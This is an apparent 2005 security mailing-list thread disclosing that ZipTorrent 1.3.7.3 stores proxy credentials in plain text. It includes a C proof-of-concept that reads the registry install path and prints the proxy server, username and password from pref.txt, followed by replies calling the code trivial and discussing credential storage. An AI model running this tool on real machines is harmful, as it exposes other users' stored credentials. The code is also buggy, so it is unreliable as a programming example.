ZipTorrent 1.3.7.3 Discloses Proxy Passwords to Local Users

[kozan@spyinstructors.com]

/*================================================= ===============

ZipTorrent 1.3.7.3 Local Proxy Password Disclosure Exploit by Kozan

Discovered & Coded by Kozan
Credits to ATmaCA
Web: www.spyinstructors.com
Mail: kozan@spyinstructors.com

Application:
--------------------
ZipTorrent 1.3.7.3 (and probably prior versions)
Vendor: www.ziptorrent.com

Introduction:
--------------------
ZipTorrent is the fastest BitTorrent client for Windows with the
most features, such as Search om Major search engines an RSS reader,
IRC Chat rooms, Automatic Torrent Download Rules, Automatic Update,
Bandwidth Monitor, NAT Checking, and UPnP Support. An install wizard
that helps you through the installation process.

Bug:
--------------------
ZipTorrent stores proxy server information and password in
X:\\[Program_Files_Path]\[ZipTorrent_Path]\pref.txt
in plain text. A local user can read passwords and others.

Vendor Confirmed:
--------------------
No

Fix:
--------------------
There is no solution at the time of this entry.

================================================== ==============*/



#include <stdio.h>
#include <windows.h>



int GetOffset(char *FilePath, char *Str)
{
char kr;
int Sayac=0;
int Offset=-1;
FILE *di;
if( (di=fopen(FilePath,"rb")) == NULL )
{
fclose(di);
return -1;
}

while(!feof(di))
{
Sayac++;
for(int i=0;i<strlen(Str);i++)
{
kr=getc(di);
if(kr != Str[i])
{
if( i>0 ) fseek(di,Sayac+1,SEEK_SET);
break;
}

if( i > ( strlen(Str)-2 ) )
{
Offset = ftell(di)-strlen(Str);
fclose(di);
return Offset;
}
}
}

fclose(di);
return -1;
}


char *ReadString(char *FilePath, char *Str)
{
FILE *di;
char cr;
int i=0;
char Feature[500];

int Offset = GetOffset(FilePath,Str);

if( Offset == -1 ) return NULL;
if( (di=fopen(FilePath,"rb")) == NULL ) return NULL;

fseek(di,Offset+strlen(Str),SEEK_SET);

while(!feof(di))
{
cr=getc(di);
if(cr == 0x0D) break;
Feature[i] = cr;
i++;
}

Feature[i] = '\0';
fclose(di);
return Feature;
}

char *GetZipTorrentPath()
{
HKEY hKey;
char szZipTorrentPath[MAX_PATH];
DWORD dwBufLen = MAX_PATH;
LONG lRet;

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\ZipTorrent",
0,
KEY_QUERY_VALUE,
&hKey
) == ERROR_SUCCESS)
{
lRet = RegQueryValueEx( hKey,
"Install_Dir",
NULL,
NULL,
(LPBYTE) szZipTorrentPath,
&dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > MAX_PATH) )
{
RegCloseKey(hKey);
return NULL;
}
RegCloseKey(hKey);
return szZipTorrentPath;
}
return NULL;
}


int main()
{
char szP***ile[MAX_PATH];
char szServer[255], szPort[255], szUsername[255], szPassword[255];
bool bInstalled;
if( GetZipTorrentPath() == NULL ) bInstalled = false;
else
{
bInstalled = true;
strcpy(szP***ile, GetZipTorrentPath());
strcat(szP***ile, "\\pref.txt");
strcpy(szServer, ReadString(szP***ile, "proxy_ip | "));
strcpy(szPort, ReadString(szP***ile, "proxy_port | "));
strcpy(szUsername, ReadString(szP***ile, "proxy_username | "));
strcpy(szPassword, ReadString(szP***ile, "proxy_password | "));
}

fprintf(stdout, "ZipTorrent 1.3.7.3 Local Proxy Password Disclosure
Exploit by Kozan\n");
fprintf(stdout, "Credits to ATmaCA\n");
fprintf(stdout, "Web: www.spyinstructors.com \n");
fprintf(stdout, "Mail: kozan@spyinstructors.com \n\n");

if( !bInstalled )
{
fprintf(stderr, "ZipTorrent is not installed on your pc!\n");
return -1;
}

fprintf(stdout, "Proxy Server\t: \t%s\n", szServer);
fprintf(stdout, "Proxy Port\t: \t%s\n", szPort);
fprintf(stdout, "Proxy Username\t: \t%s\n", szUsername);
fprintf(stdout, "Proxy Username\t: \t%s\n", szPassword);

return 0;
}

[Allen Parker]

On 23 Aug 2005 13:21:23 -0000, kozan@spyinstructors.com
<kozan@spyinstructors.com> wrote:
> /*=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= 3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
>=20
> ZipTorrent 1.3.7.3 Local Proxy Password Disclosure Exploit by Kozan
>=20
> Discovered & Coded by Kozan
> Credits to ATmaCA
> Web: www.spyinstructors.com
> Mail: kozan@spyinstructors.com
>=20
> Application:
> --------------------
> ZipTorrent 1.3.7.3 (and probably prior versions)
> Vendor: www.ziptorrent.com
>=20
> Introduction:
> --------------------
> ZipTorrent is the fastest BitTorrent client for Windows with the
> most features, such as Search om Major search engines an RSS reader,
> IRC Chat rooms, Automatic Torrent Download Rules, Automatic Update,
> Bandwidth Monitor, NAT Checking, and UPnP Support. An install wizard
> that helps you through the installation process.
>=20
> Bug:
> --------------------
> ZipTorrent stores proxy server information and password in
> X:\\[Program_Files_Path]\[ZipTorrent_Path]\pref.txt
> in plain text. A local user can read passwords and others.
>=20
> Vendor Confirmed:
> --------------------
> No
>=20
> Fix:
> --------------------
> There is no solution at the time of this entry.

I don't mean to be a party pooper, but wouldn't it be just as easy to
navigate to the program's install path and double freaking click
pref.txt?

In my opinion, since this isn't a privilege escalation (local OR
remote), and it's certainly within the abilities of most of the people
reading this list to just open pref.txt in their favorite editor,
"proof of concept" code is next to worthless... nice try, but it makes
this report really seem like a joke.

On yet another note, I haven't seen many programs making use of
proxies where the username/password pairs were obfuscated in any
way... generally if a proxy is required in the first place, it's a
proxy the whole machine knows about anyway, so there's really not much
use in attempting to keep said proxy secret.

--=20
________________________________________
To avoid being added to my spam filter:
1. Utilize list replies unless otherwise requested.
2. If you DO send me a personal email, use english.
3. HTML isn't cute. It belongs on the web, not in my inbox.

[Nicholas Knight]

Nick Boyce wrote:
> Surely this is just another rehash of the same old debate that appears
> here every now and then - the conclusion will always be that stored
> passwords are inherently vulnerable. They can be obfuscated as much
> as you like, but it only needs one successful piece of R&D to render
> the whole obfuscation scheme useless for everybody.
>
> See
> http://marc.theaimsgroup.com/?t=92420089800002&r=1&w=2
> http://marc.theaimsgroup.com/?t=94570694700003&r=1&w=2
> for a couple of useful Bugtraq debates on this topic.
> [both in 1999 ... was that _really_ the last time this came up ?]

Good grief. Are DOS and Win9x concepts really so burned into people's
brains that they can't recognize the proper solution for storing data
where other users on a system can't get to it?

These aren't the days of single-user desktop operating systems anymore,
people. You don't need inherently insecure obfuscation techniques to
hide data, you just have to store it where it friggin' belongs -- IN THE
USER'S HOME DIRECTORY.